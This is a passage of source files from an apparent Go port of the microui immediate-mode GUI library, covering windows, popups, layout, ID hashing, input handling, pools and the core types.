533 | } 534 | // clipping is reset here in case a root-container is made within 535 | // another root-containers's begin/end block; this prevents the inner 536 | // root-container being clipped to the outer 537 | // push() 538 | ctx.ClipStack = append(ctx.ClipStack, UnclippedRect) 539 | } 540 | 541 | func (ctx *Context) EndRootContainer() { 542 | // push tail 'goto' jump command and set head 'skip' command. the final steps 543 | // on initing these are done in mu_end() 544 | cnt := ctx.GetCurrentContainer() 545 | cnt.TailIdx = ctx.PushJump(-1) 546 | ctx.CommandList[cnt.HeadIdx].Jump.DstIdx = len(ctx.CommandList) //- 1 547 | // pop base clip rect and container 548 | ctx.PopClipRect() 549 | ctx.PopContainer() 550 | } 551 | 552 | func (ctx *Context) BeginWindowEx(title string, rect Rect, opt int) int { 553 | var body Rect 554 | id := ctx.GetID([]byte(title)) 555 | cnt := ctx.getContainer(id, opt) 556 | if cnt == nil || !cnt.Open { 557 | return 0 558 | } 559 | // push() 560 | ctx.IdStack = append(ctx.IdStack, id) 561 | 562 | if cnt.Rect.W == 0 { 563 | cnt.Rect = rect 564 | } 565 | ctx.BeginRootContainer(cnt) 566 | body = cnt.Rect 567 | rect = body 568 | 569 | // draw frame 570 | if (^opt & MU_OPT_NOFRAME) != 0 { 571 | ctx.DrawFrame(ctx, rect, MU_COLOR_WINDOWBG) 572 | } 573 | 574 | // do title bar 575 | if (^opt & MU_OPT_NOTITLE) != 0 { 576 | tr := rect 577 | tr.H = ctx.Style.TitleHeight 578 | ctx.DrawFrame(ctx, tr, MU_COLOR_TITLEBG) 579 | 580 | // do title text 581 | if (^opt & MU_OPT_NOTITLE) != 0 { 582 | id := ctx.GetID([]byte("!title")) 583 | ctx.UpdateControl(id, tr, opt) 584 | ctx.DrawControlText(title, tr, MU_COLOR_TITLETEXT, opt) 585 | if id == ctx.Focus && ctx.MouseDown == MU_MOUSE_LEFT { 586 | cnt.Rect.X += ctx.MouseDelta.X 587 | cnt.Rect.Y += ctx.MouseDelta.Y 588 | } 589 | body.Y += tr.H 590 | body.H -= tr.H 591 | } 592 | 593 | // do `close` button 594 | if (^opt & MU_OPT_NOCLOSE) != 0 { 595 | id := ctx.GetID([]byte("!close")) 596 | r := NewRect(tr.X+tr.W-tr.H, tr.Y, tr.H, tr.H) 597 | tr.W -= r.W 598 | ctx.DrawIcon(MU_ICON_CLOSE, r, ctx.Style.Colors[MU_COLOR_TITLETEXT]) 599 | ctx.UpdateControl(id, r, opt) 600 | if ctx.MousePressed == MU_MOUSE_LEFT && id == ctx.Focus { 601 | cnt.Open = false 602 | } 603 | } 604 | } 605 | 606 | ctx.PushContainerBody(cnt, body, opt) 607 | 608 | // do `resize` handle 609 | if (^opt & MU_OPT_NORESIZE) != 0 { 610 | sz := ctx.Style.TitleHeight 611 | id := ctx.GetID([]byte("!resize")) 612 | r := NewRect(rect.X+rect.W-sz, rect.Y+rect.H-sz, sz, sz) 613 | ctx.UpdateControl(id, r, opt) 614 | if id == ctx.Focus && ctx.MouseDown == MU_MOUSE_LEFT { 615 | cnt.Rect.W = mu_max(96, cnt.Rect.W+ctx.MouseDelta.X) 616 | cnt.Rect.H = mu_max(64, cnt.Rect.H+ctx.MouseDelta.Y) 617 | } 618 | } 619 | 620 | // resize to content size 621 | if (opt & MU_OPT_AUTOSIZE) != 0 { 622 | r := ctx.GetLayout().Body 623 | cnt.Rect.W = cnt.ContentSize.X + (cnt.Rect.W - r.W) 624 | cnt.Rect.H = cnt.ContentSize.Y + (cnt.Rect.H - r.H) 625 | } 626 | 627 | // close if this is a popup window and elsewhere was clicked 628 | if (opt&MU_OPT_POPUP) != 0 && ctx.MousePressed != 0 && ctx.HoverRoot != cnt { 629 | cnt.Open = false 630 | } 631 | 632 | ctx.PushClipRect(cnt.Body) 633 | return MU_RES_ACTIVE 634 | } 635 | 636 | func (ctx *Context) EndWindow() { 637 | ctx.PopClipRect() 638 | ctx.EndRootContainer() 639 | } 640 | 641 | func (ctx *Context) OpenPopup(name string) { 642 | cnt := ctx.GetContainer(name) 643 | // set as hover root so popup isn't closed in begin_window_ex() 644 | ctx.NextHoverRoot = cnt 645 | ctx.HoverRoot = ctx.NextHoverRoot 646 | // position at mouse cursor, open and bring-to-front 647 | cnt.Rect = NewRect(ctx.MousePos.X, ctx.MousePos.Y, 1, 1) 648 | cnt.Open = true 649 | ctx.BringToFront(cnt) 650 | } 651 | 652 | func (ctx *Context) BeginPopup(name string) int { 653 | opt := MU_OPT_POPUP | MU_OPT_AUTOSIZE | MU_OPT_NORESIZE | 654 | MU_OPT_NOSCROLL | MU_OPT_NOTITLE | MU_OPT_CLOSED 655 | return ctx.BeginWindowEx(name, NewRect(0, 0, 0, 0), opt) 656 | } 657 | 658 | func (ctx *Context) EndPopup() { 659 | ctx.EndWindow() 660 | } 661 | 662 | func (ctx *Context) BeginPanelEx(name string, opt int) { 663 | var cnt *Container 664 | ctx.PushID([]byte(name)) 665 | cnt = ctx.getContainer(ctx.LastID, opt) 666 | cnt.Rect = ctx.LayoutNext() 667 | if (^opt & MU_OPT_NOFRAME) != 0 { 668 | ctx.DrawFrame(ctx, cnt.Rect, MU_COLOR_PANELBG) 669 | } 670 | // push() 671 | ctx.ContainerStack = append(ctx.ContainerStack, cnt) 672 | ctx.PushContainerBody(cnt, cnt.Rect, opt) 673 | ctx.PushClipRect(cnt.Body) 674 | } 675 | 676 | func (ctx *Context) EndPanel() { 677 | ctx.PopClipRect() 678 | ctx.PopContainer() 679 | } 680 | -------------------------------------------------------------------------------- /enums.go: -------------------------------------------------------------------------------- 1 | package microui 2 | 3 | const ( 4 | MU_CLIP_PART = 1 + iota 5 | MU_CLIP_ALL 6 | ) 7 | 8 | const ( 9 | MU_COMMAND_JUMP = 1 + iota 10 | MU_COMMAND_CLIP 11 | MU_COMMAND_RECT 12 | MU_COMMAND_TEXT 13 | MU_COMMAND_ICON 14 | MU_COMMAND_MAX 15 | ) 16 | 17 | const ( 18 | MU_COLOR_TEXT = iota 19 | MU_COLOR_BORDER 20 | MU_COLOR_WINDOWBG 21 | MU_COLOR_TITLEBG 22 | MU_COLOR_TITLETEXT 23 | MU_COLOR_PANELBG 24 | MU_COLOR_BUTTON 25 | MU_COLOR_BUTTONHOVER 26 | MU_COLOR_BUTTONFOCUS 27 | MU_COLOR_BASE 28 | MU_COLOR_BASEHOVER 29 | MU_COLOR_BASEFOCUS 30 | MU_COLOR_SCROLLBASE 31 | MU_COLOR_SCROLLTHUMB 32 | MU_COLOR_MAX 33 | ) 34 | 35 | const ( 36 | MU_ICON_CLOSE = 1 + iota 37 | MU_ICON_CHECK 38 | MU_ICON_COLLAPSED 39 | MU_ICON_EXPANDED 40 | MU_ICON_MAX 41 | ) 42 | 43 | const ( 44 | MU_RES_ACTIVE = (1 << 0) 45 | MU_RES_SUBMIT = (1 << 1) 46 | MU_RES_CHANGE = (1 << 2) 47 | ) 48 | 49 | const ( 50 | MU_OPT_ALIGNCENTER = (1 << 0) 51 | MU_OPT_ALIGNRIGHT = (1 << 1) 52 | MU_OPT_NOINTERACT = (1 << 2) 53 | MU_OPT_NOFRAME = (1 << 3) 54 | MU_OPT_NORESIZE = (1 << 4) 55 | MU_OPT_NOSCROLL = (1 << 5) 56 | MU_OPT_NOCLOSE = (1 << 6) 57 | MU_OPT_NOTITLE = (1 << 7) 58 | MU_OPT_HOLDFOCUS = (1 << 8) 59 | MU_OPT_AUTOSIZE = (1 << 9) 60 | MU_OPT_POPUP = (1 << 10) 61 | MU_OPT_CLOSED = (1 << 11) 62 | MU_OPT_EXPANDED = (1 << 12) 63 | ) 64 | 65 | const ( 66 | MU_MOUSE_LEFT = (1 << 0) 67 | MU_MOUSE_RIGHT = (1 << 1) 68 | MU_MOUSE_MIDDLE = (1 << 2) 69 | ) 70 | 71 | const ( 72 | MU_KEY_SHIFT = (1 << 0) 73 | MU_KEY_CTRL = (1 << 1) 74 | MU_KEY_ALT = (1 << 2) 75 | MU_KEY_BACKSPACE = (1 << 3) 76 | MU_KEY_RETURN = (1 << 4) 77 | ) 78 | 79 | const ( 80 | RELATIVE = 1 + iota 81 | ABSOLUTE 82 | ) 83 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/cluttereddoc/microui-go 2 | 3 | go 1.19 4 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cluttereddoc/microui-go/0219c4d90f6944823e36fb7bfd809901877b3a1f/go.sum -------------------------------------------------------------------------------- /helpers.go: -------------------------------------------------------------------------------- 1 | package microui 2 | 3 | import ( 4 | "sort" 5 | "unsafe" 6 | ) 7 | 8 | func expect(x bool) { 9 | if !x { 10 | panic("expect() failed") 11 | } 12 | } 13 | 14 | func mu_min(a, b int) int { 15 | if a < b { 16 | return a 17 | } 18 | return b 19 | } 20 | 21 | func mu_max(a, b int) int { 22 | if a > b { 23 | return a 24 | } 25 | return b 26 | } 27 | 28 | func mu_min_real(a, b float32) float32 { 29 | if a < b { 30 | return a 31 | } 32 | return b 33 | } 34 | 35 | func mu_max_real(a, b float32) float32 { 36 | if a > b { 37 | return a 38 | } 39 | return b 40 | } 41 | 42 | func mu_clamp(x, a, b int) int { 43 | return mu_min(b, mu_max(a, x)) 44 | } 45 | 46 | func mu_clamp_real(x, a, b float32) float32 { 47 | return mu_min_real(b, mu_max_real(a, x)) 48 | } 49 | 50 | func NewVec2(x, y int) Vec2 { 51 | return Vec2{x, y} 52 | } 53 | 54 | func NewRect(x, y, w, h int) Rect { 55 | return Rect{x, y, w, h} 56 | } 57 | 58 | func NewColor(r, g, b, a uint8) Color { 59 | return Color{r, g, b, a} 60 | } 61 | 62 | func expand_rect(rect Rect, n int) Rect { 63 | return NewRect(rect.X-n, rect.Y-n, rect.W+n*2, rect.H+n*2) 64 | } 65 | 66 | func intersect_rects(r1, r2 Rect) Rect { 67 | var x1 int = mu_max(r1.X, r2.X) 68 | var y1 int = mu_max(r1.Y, r2.Y) 69 | var x2 int = mu_min(r1.X+r1.W, r2.X+r2.W) 70 | var y2 int = mu_min(r1.Y+r1.H, r2.Y+r2.H) 71 | if x2 < x1 { 72 | x2 = x1 73 | } 74 | if y2 < y1 { 75 | y2 = y1 76 | } 77 | return NewRect(x1, y1, x2-x1, y2-y1) 78 | } 79 | 80 | func rect_overlaps_vec2(r Rect, p Vec2) bool { 81 | return p.X >= r.X && p.X < r.X+r.W && p.Y >= r.Y && p.Y < r.Y+r.H 82 | } 83 | 84 | // Convinience function for custom widgets. This will convert the literal pointer 85 | // (NOT the data it points to) to a byte slice (to be used with GetID()). This is 86 | // basically equivalent to passing a pointer pointer to mu_get_id. 87 | // 88 | // This function will allocate a new byte slice on the heap. It produces different 89 | // results based on the endianess of the machine, but that should be fine for hashing purposes. 90 | func PtrToBytes(ptr unsafe.Pointer) []byte { 91 | slice := unsafe.Slice((*byte)(unsafe.Pointer(&ptr)), unsafe.Sizeof(ptr)) 92 | 93 | // `slice` points to `ptr`, which is currently allocated on the stack. 94 | // after this function returns, `slice` will point to freed memory, so 95 | // we need to copy it to the heap for this to be safe 96 | heapSlice := make([]byte, len(slice)) 97 | copy(heapSlice, slice) 98 | return heapSlice 99 | } 100 | 101 | func hash(hash *mu_Id, data []byte) { 102 | for i := 0; i < len(data); i++ { 103 | *hash = (*hash ^ mu_Id(data[i])) * 16777619 104 | } 105 | } 106 | 107 | func (ctx *Context) GetID(data []byte) mu_Id { 108 | idx := len(ctx.IdStack) 109 | var res mu_Id 110 | if idx > 0 { 111 | res = ctx.IdStack[len(ctx.IdStack)-1] 112 | } else { 113 | res = HASH_INITIAL 114 | } 115 | hash(&res, data) 116 | ctx.LastID = res 117 | return res 118 | } 119 | 120 | func (ctx *Context) PushID(data []byte) { 121 | // push() 122 | ctx.IdStack = append(ctx.IdStack, ctx.GetID(data)) 123 | } 124 | 125 | func (ctx *Context) PopID() { 126 | expect(len(ctx.IdStack) > 0) 127 | ctx.IdStack = ctx.IdStack[:len(ctx.IdStack)-1] 128 | } 129 | 130 | func (ctx *Context) PushClipRect(rect Rect) { 131 | last := ctx.GetClipRect() 132 | // push() 133 | ctx.ClipStack = append(ctx.ClipStack, intersect_rects(rect, last)) 134 | } 135 | 136 | func (ctx *Context) PopClipRect() { 137 | expect(len(ctx.ClipStack) > 0) 138 | ctx.ClipStack = ctx.ClipStack[:len(ctx.ClipStack)-1] 139 | } 140 | 141 | func (ctx *Context) GetClipRect() Rect { 142 | expect(len(ctx.ClipStack) > 0) 143 | return ctx.ClipStack[len(ctx.ClipStack)-1] 144 | } 145 | 146 | func (ctx *Context) CheckClip(r Rect) int { 147 | cr := ctx.GetClipRect() 148 | if r.X > cr.X+cr.W || r.X+r.W < cr.X || 149 | r.Y > cr.Y+cr.H || r.Y+r.H < cr.Y { 150 | return MU_CLIP_ALL 151 | } 152 | if r.X >= cr.X && r.X+r.W <= cr.X+cr.W && 153 | r.Y >= cr.Y && r.Y+r.H <= cr.Y+cr.H { 154 | return 0 155 | } 156 | return MU_CLIP_PART 157 | } 158 | 159 | func (ctx *Context) GetLayout() *Layout { 160 | expect(len(ctx.LayoutStack) > 0) 161 | return &ctx.LayoutStack[len(ctx.LayoutStack)-1] 162 | } 163 | 164 | func (ctx *Context) PopContainer() { 165 | cnt := ctx.GetCurrentContainer() 166 | layout := ctx.GetLayout() 167 | cnt.ContentSize.X = layout.Max.X - layout.Body.X 168 | cnt.ContentSize.Y = layout.Max.Y - layout.Body.Y 169 | // pop container, layout and id 170 | // pop() 171 | expect(len(ctx.ContainerStack) > 0) // TODO: no expect in original impl 172 | ctx.ContainerStack = ctx.ContainerStack[:len(ctx.ContainerStack)-1] 173 | // pop() 174 | expect(len(ctx.LayoutStack) > 0) // TODO: no expect in original impl 175 | ctx.LayoutStack = ctx.LayoutStack[:len(ctx.LayoutStack)-1] 176 | ctx.PopID() 177 | } 178 | 179 | func (ctx *Context) GetCurrentContainer() *Container { 180 | expect(len(ctx.ContainerStack) > 0) 181 | return ctx.ContainerStack[len(ctx.ContainerStack)-1] 182 | } 183 | 184 | func (ctx *Context) getContainer(id mu_Id, opt int) *Container { 185 | var cnt *Container 186 | // try to get existing container from pool 187 | idx := ctx.PoolGet(ctx.ContainerPool[:], id) 188 | if idx >= 0 { 189 | if ctx.Containers[idx].Open || (^opt&MU_OPT_CLOSED) != 0 { 190 | ctx.PoolUpdate(ctx.ContainerPool[:], idx) 191 | } 192 | return &ctx.Containers[idx] 193 | } 194 | if (opt & MU_OPT_CLOSED) != 0 { 195 | return nil 196 | } 197 | // container not found in pool: init new container 198 | idx = ctx.PoolInit(ctx.ContainerPool[:], id) 199 | cnt = &ctx.Containers[idx] 200 | cnt.Clear() 201 | cnt.HeadIdx = -1 202 | cnt.TailIdx = -1 203 | cnt.Open = true 204 | ctx.BringToFront(cnt) 205 | return cnt 206 | } 207 | 208 | func (ctx *Context) GetContainer(name string) *Container { 209 | id := ctx.GetID([]byte(name)) 210 | return ctx.getContainer(id, 0) 211 | } 212 | 213 | func (ctx *Context) BringToFront(cnt *Container) { 214 | ctx.LastZindex++ 215 | cnt.Zindex = ctx.LastZindex 216 | } 217 | 218 | func (ctx *Context) SetFocus(id mu_Id) { 219 | ctx.Focus = id 220 | ctx.UpdatedFocus = true 221 | } 222 | 223 | func (ctx *Context) Begin() { 224 | expect(ctx.TextWidth != nil && ctx.TextHeight != nil) 225 | ctx.CommandList = ctx.CommandList[:0] 226 | ctx.RootList = ctx.RootList[:0] 227 | ctx.ScrollTarget = nil 228 | ctx.HoverRoot = ctx.NextHoverRoot 229 | ctx.NextHoverRoot = nil 230 | ctx.MouseDelta.X = ctx.MousePos.X - ctx.lastMousePos.X 231 | ctx.MouseDelta.Y = ctx.MousePos.Y - ctx.lastMousePos.Y 232 | ctx.Frame++ 233 | } 234 | 235 | func (ctx *Context) End() { 236 | // check stacks 237 | expect(len(ctx.ContainerStack) == 0) 238 | expect(len(ctx.ClipStack) == 0) 239 | expect(len(ctx.IdStack) == 0) 240 | expect(len(ctx.LayoutStack) == 0) 241 | 242 | // handle scroll input 243 | if ctx.ScrollTarget != nil { 244 | ctx.ScrollTarget.Scroll.X += ctx.ScrollDelta.X 245 | ctx.ScrollTarget.Scroll.Y += ctx.ScrollDelta.Y 246 | } 247 | 248 | // unset focus if focus id was not touched this frame 249 | if !ctx.UpdatedFocus { 250 | ctx.Focus = 0 251 | } 252 | ctx.UpdatedFocus = false 253 | 254 | // bring hover root to front if mouse was pressed 255 | if ctx.MousePressed != 0 && ctx.NextHoverRoot != nil && 256 | ctx.NextHoverRoot.Zindex < ctx.LastZindex && 257 | ctx.NextHoverRoot.Zindex >= 0 { 258 | ctx.BringToFront(ctx.NextHoverRoot) 259 | } 260 | 261 | // reset input state 262 | ctx.KeyPressed = 0 263 | ctx.TextInput = nil 264 | ctx.MousePressed = 0 265 | ctx.ScrollDelta = NewVec2(0, 0) 266 | ctx.lastMousePos = ctx.MousePos 267 | 268 | // sort root containers by zindex 269 | // TODO (port): i'm not sure if this works 270 | sort.SliceStable(ctx.RootList, func(i, j int) bool { 271 | return ctx.RootList[i].Zindex < ctx.RootList[j].Zindex 272 | }) 273 | 274 | // set root container jump commands 275 | for i := 0; i < len(ctx.RootList); i++ { 276 | cnt := ctx.RootList[i] 277 | // if this is the first container then make the first command jump to it. 278 | // otherwise set the previous container's tail to jump to this one 279 | if i == 0 { 280 | cmd := ctx.CommandList[0] 281 | expect(cmd.Type == MU_COMMAND_JUMP) 282 | cmd.Jump.DstIdx = cnt.HeadIdx + 1 283 | expect(cmd.Jump.DstIdx < MU_COMMANDLIST_SIZE) 284 | } else { 285 | prev := ctx.RootList[i-1] 286 | ctx.CommandList[prev.TailIdx].Jump.DstIdx = cnt.HeadIdx + 1 287 | } 288 | // make the last container's tail jump to the end of command list 289 | if i == len(ctx.RootList)-1 { 290 | ctx.CommandList[cnt.TailIdx].Jump.DstIdx = len(ctx.CommandList) 291 | } 292 | } 293 | } 294 | -------------------------------------------------------------------------------- /input.go: -------------------------------------------------------------------------------- 1 | package microui 2 | 3 | /*============================================================================ 4 | ** input handlers 5 | **============================================================================*/ 6 | 7 | func (ctx *Context) InputMouseMove(x, y int) { 8 | ctx.MousePos = NewVec2(x, y) 9 | } 10 | 11 | func (ctx *Context) InputMouseDown(x, y int, btn int) { 12 | ctx.InputMouseMove(x, y) 13 | ctx.MouseDown |= btn 14 | ctx.MousePressed |= btn 15 | } 16 | 17 | func (ctx *Context) InputMouseUp(x, y int, btn int) { 18 | ctx.InputMouseMove(x, y) 19 | ctx.MouseDown &= ^btn 20 | } 21 | 22 | func (ctx *Context) InputScroll(x, y int) { 23 | ctx.ScrollDelta.X += x 24 | ctx.ScrollDelta.Y += y 25 | } 26 | 27 | func (ctx *Context) InputKeyDown(key int) { 28 | ctx.KeyPressed |= key 29 | ctx.KeyDown |= key 30 | } 31 | 32 | func (ctx *Context) InputKeyUp(key int) { 33 | ctx.KeyDown &= ^key 34 | } 35 | 36 | func (ctx *Context) InputText(text []rune) { 37 | ctx.TextInput = text 38 | } 39 | -------------------------------------------------------------------------------- /layout.go: -------------------------------------------------------------------------------- 1 | package microui 2 | 3 | /*============================================================================ 4 | ** layout 5 | **============================================================================*/ 6 | 7 | func (ctx *Context) PushLayout(body Rect, scroll Vec2) { 8 | layout := Layout{} 9 | layout.Body = NewRect(body.X-scroll.X, body.Y-scroll.Y, body.W, body.H) 10 | layout.Max = NewVec2(-0x1000000, -0x1000000) 11 | 12 | // push() 13 | ctx.LayoutStack = append(ctx.LayoutStack, layout) 14 | 15 | ctx.LayoutRow(1, []int{0}, 0) 16 | } 17 | 18 | func (ctx *Context) LayoutBeginColumn() { 19 | ctx.PushLayout(ctx.LayoutNext(), NewVec2(0, 0)) 20 | } 21 | 22 | func (ctx *Context) LayoutEndColumn() { 23 | b := ctx.GetLayout() 24 | // pop() 25 | expect(len(ctx.LayoutStack) > 0) 26 | ctx.LayoutStack = ctx.LayoutStack[:len(ctx.LayoutStack)-1] 27 | // inherit position/next_row/max from child layout if they are greater 28 | a := ctx.GetLayout() 29 | a.Position.X = mu_max(a.Position.X, b.Position.X+b.Body.X-a.Body.X) 30 | a.NextRow = mu_max(a.NextRow, b.NextRow+b.Body.Y-a.Body.Y) 31 | a.Max.X = mu_max(a.Max.X, b.Max.X) 32 | a.Max.Y = mu_max(a.Max.Y, b.Max.Y) 33 | } 34 | 35 | func (ctx *Context) LayoutRow(items int, widths []int, height int) { 36 | layout := ctx.GetLayout() 37 | 38 | expect(len(widths) <= MU_MAX_WIDTHS) 39 | copy(layout.Widths[:], widths) 40 | 41 | layout.Items = items 42 | layout.Position = NewVec2(layout.Indent, layout.NextRow) 43 | layout.Size.Y = height 44 | layout.ItemIndex = 0 45 | } 46 | 47 | // sets layout size.x 48 | func (ctx *Context) LayoutWidth(width int) { 49 | ctx.GetLayout().Size.X = width 50 | } 51 | 52 | // sets layout size.y 53 | func (ctx *Context) LayoutHeight(height int) { 54 | ctx.GetLayout().Size.Y = height 55 | } 56 | 57 | func (ctx *Context) LayoutSetNext(r Rect, relative bool) { 58 | layout := ctx.GetLayout() 59 | layout.Next = r 60 | if relative { 61 | layout.NextType = RELATIVE 62 | } else { 63 | layout.NextType = ABSOLUTE 64 | } 65 | } 66 | 67 | func (ctx *Context) LayoutNext() Rect { 68 | layout := ctx.GetLayout() 69 | style := ctx.Style 70 | var res Rect 71 | 72 | if layout.NextType != 0 { 73 | // handle rect set by `mu_layout_set_next` 74 | next_type := layout.NextType 75 | layout.NextType = 0 76 | res = layout.Next 77 | 78 | if next_type == ABSOLUTE { 79 | ctx.LastRect = res 80 | return ctx.LastRect 81 | } 82 | } else { 83 | // handle next row 84 | if layout.ItemIndex == layout.Items { 85 | ctx.LayoutRow(layout.Items, nil, layout.Size.Y) 86 | } 87 | 88 | // position 89 | res.X = layout.Position.X 90 | res.Y = layout.Position.Y 91 | 92 | // size 93 | if layout.Items > 0 { 94 | res.W = layout.Widths[layout.ItemIndex] 95 | } else { 96 | res.W = layout.Size.X 97 | } 98 | res.H = layout.Size.Y 99 | if res.W == 0 { 100 | res.W = style.Size.X + style.Padding*2 101 | } 102 | if res.H == 0 { 103 | res.H = style.Size.Y + style.Padding*2 104 | } 105 | if res.W < 0 { 106 | res.W += layout.Body.W - res.X + 1 107 | } 108 | if res.H < 0 { 109 | res.H += layout.Body.H - res.Y + 1 110 | } 111 | 112 | layout.ItemIndex++ 113 | } 114 | 115 | // update position 116 | layout.Position.X += res.W + style.Spacing 117 | layout.NextRow = mu_max(layout.NextRow, res.Y+res.H+style.Spacing) 118 | 119 | // apply body offset 120 | res.X += layout.Body.X 121 | res.Y += layout.Body.Y 122 | 123 | // update max position 124 | layout.Max.X = mu_max(layout.Max.X, res.X+res.W) 125 | layout.Max.Y = mu_max(layout.Max.Y, res.Y+res.H) 126 | 127 | ctx.LastRect = res 128 | return ctx.LastRect 129 | } 130 | -------------------------------------------------------------------------------- /pool.go: -------------------------------------------------------------------------------- 1 | package microui 2 | 3 | /*============================================================================ 4 | ** pool 5 | **============================================================================*/ 6 | 7 | func (ctx *Context) PoolInit(items []MuPoolItem, id mu_Id) int { 8 | f := ctx.Frame 9 | var n int = -1 10 | for i := 0; i < len(items); i++ { 11 | if items[i].LastUpdate < f { 12 | f = items[i].LastUpdate 13 | n = i 14 | } 15 | } 16 | expect(n > -1) 17 | items[n].ID = id 18 | ctx.PoolUpdate(items, n) 19 | return n 20 | } 21 | 22 | // returns the index of an ID in the pool. returns -1 if it is not found 23 | func (ctx *Context) PoolGet(items []MuPoolItem, id mu_Id) int { 24 | for i := 0; i < len(items); i++ { 25 | if items[i].ID == id { 26 | return i 27 | } 28 | } 29 | return -1 30 | } 31 | 32 | func (ctx *Context) PoolUpdate(items []MuPoolItem, idx int) { 33 | items[idx].LastUpdate = ctx.Frame 34 | } 35 | -------------------------------------------------------------------------------- /render.go: -------------------------------------------------------------------------------- 1 | package microui 2 | 3 | // calls nextCmdFunc for every command in the command list, clears it when done. 4 | // equivalent to calling `ctx.NextCommand` in a loop 5 | func (ctx *Context) Render(nextCmdFunc func(cmd *Command)) { 6 | var cmd *Command 7 | for ctx.NextCommand(&cmd) { 8 | nextCmdFunc(cmd) 9 | } 10 | ctx.CommandList = nil 11 | } 12 | -------------------------------------------------------------------------------- /types.go: -------------------------------------------------------------------------------- 1 | package microui 2 | 3 | import "image/color" 4 | 5 | type mu_Id uintptr 6 | 7 | type Vec2 struct { 8 | X, Y int 9 | } 10 | 11 | type Rect struct { 12 | X, Y, W, H int 13 | } 14 | 15 | type Color struct { 16 | R, G, B, A uint8 17 | } 18 | 19 | func (c *Color) ToRGBA() color.RGBA { 20 | return color.RGBA{c.R, c.G, c.B, c.A} 21 | } 22 | 23 | type MuPoolItem struct { 24 | ID mu_Id 25 | LastUpdate int 26 | } 27 | 28 | type BaseCommand struct { 29 | Type int 30 | } 31 | 32 | type JumpCommand struct { 33 | Base BaseCommand 34 | DstIdx int 35 | } 36 | 37 | type ClipCommand struct { 38 | Base BaseCommand 39 | Rect Rect 40 | } 41 | 42 | type RectCommand struct { 43 | Base BaseCommand 44 | Rect Rect 45 | Color Color 46 | } 47 | 48 | type Font interface{} // Font is interface{}, microui does not manage fonts 49 | 50 | type TextCommand struct { 51 | Base BaseCommand 52 | Font Font 53 | Pos Vec2 54 | Color Color 55 | Str string 56 | } 57 | 58 | type IconCommand struct { 59 | Base BaseCommand 60 | Rect Rect 61 | Id int 62 | Color Color 63 | } 64 | 65 | type Layout struct { 66 | Body Rect 67 | Next Rect 68 | Position Vec2 69 | Size Vec2 70 | Max Vec2 71 | Widths [MU_MAX_WIDTHS]int 72 | Items int 73 | ItemIndex int 74 | NextRow int 75 | NextType int 76 | Indent int 77 | } 78 | 79 | type Command struct { 80 | Type int 81 | Idx int 82 | Base BaseCommand // type 0 (TODO) 83 | Jump JumpCommand // type 1 84 | Clip ClipCommand // type 2 85 | Rect RectCommand // type 3 86 | Text TextCommand // type 4 87 | Icon IconCommand // type 5 88 | } 89 | 90 | type Container struct { 91 | HeadIdx int 92 | TailIdx int 93 | Rect Rect 94 | Body Rect 95 | ContentSize Vec2 96 | Scroll Vec2 97 | Zindex int 98 | Open bool 99 | } 100 | 101 | func (c *Container) Clear() { 102 | *c = Container{} 103 | } 104 | 105 | type Style struct { 106 | Font Font 107 | Size Vec2 108 | Padding int 109 | Spacing int 110 | Indent int 111 | TitleHeight int 112 | ScrollbarSize int 113 | ThumbSize int 114 | Colors [MU_COLOR_MAX]Color 115 | } 116 | 117 | type Context struct { 118 | // callbacks 119 | 120 | TextWidth func(font Font, str string) int 121 | TextHeight func(font Font) int 122 | DrawFrame func(ctx *Context, rect Rect, colorid int) 123 | 124 | // core state 125 | 126 | _style Style 127 | Style *Style 128 | Hover mu_Id 129 | Focus mu_Id 130 | LastID mu_Id 131 | LastRect Rect 132 | LastZindex int 133 | UpdatedFocus bool 134 | Frame int 135 | HoverRoot *Container 136 | NextHoverRoot *Container 137 | ScrollTarget *Container 138 | NumberEditBuf string 139 | NumberEdit mu_Id 140 | 141 | // stacks 142 | 143 | CommandList []*Command 144 | RootList []*Container 145 | ContainerStack []*Container 146 | ClipStack []Rect 147 | IdStack []mu_Id 148 | LayoutStack []Layout 149 | 150 | // retained state pools 151 | 152 | ContainerPool [MU_CONTAINERPOOL_SIZE]MuPoolItem 153 | Containers [MU_CONTAINERPOOL_SIZE]Container 154 | TreeNodePool [MU_TREENODEPOOL_SIZE]MuPoolItem 155 | 156 | // input state 157 | 158 | MousePos Vec2 159 | lastMousePos Vec2 160 | MouseDelta Vec2 161 | ScrollDelta Vec2 162 | MouseDown int 163 | MousePressed int 164 | KeyDown int 165 | KeyPressed int 166 | TextInput []rune 167 | } 168 | -------------------------------------------------------------------------------- /widgets.go: -------------------------------------------------------------------------------- 1 | package microui 2 | 3 | func (ctx *Context) Button(label string) bool { 4 | return ctx.ButtonEx(label, 0, MU_OPT_ALIGNCENTER) != 0 5 | } 6 | 7 | func (ctx *Context) TextBox(buf *string) int { 8 | return ctx.TextBoxEx(buf, 0) 9 | } 10 | 11 | func (ctx *Context) Slider(value *float32, lo, hi float32) int { 12 | return ctx.SliderEx(value, lo, hi, 0, MU_SLIDER_FMT, MU_OPT_ALIGNCENTER) 13 | } 14 | 15 | func (ctx *Context) Number(value *float32, step float32) int { 16 | return ctx.NumberEx(value, step, MU_SLIDER_FMT, MU_OPT_ALIGNCENTER) 17 | } 18 | 19 | func (ctx *Context) Header(label string) bool { 20 | return ctx.HeaderEx(label, 0) != 0 21 | } 22 | 23 | func (ctx *Context) BeginTreeNode(label string) bool { 24 | return ctx.BeginTreeNodeEx(label, 0) != 0 25 | } 26 | 27 | func (ctx *Context) BeginWindow(title string, rect Rect) bool { 28 | return ctx.BeginWindowEx(title, rect, 0) != 0 29 | } 30 | 31 | func (ctx *Context) BeginPanel(name string) { 32 | ctx.BeginPanelEx(name, 0) 33 | } 34 | --------------------------------------------------------------------------------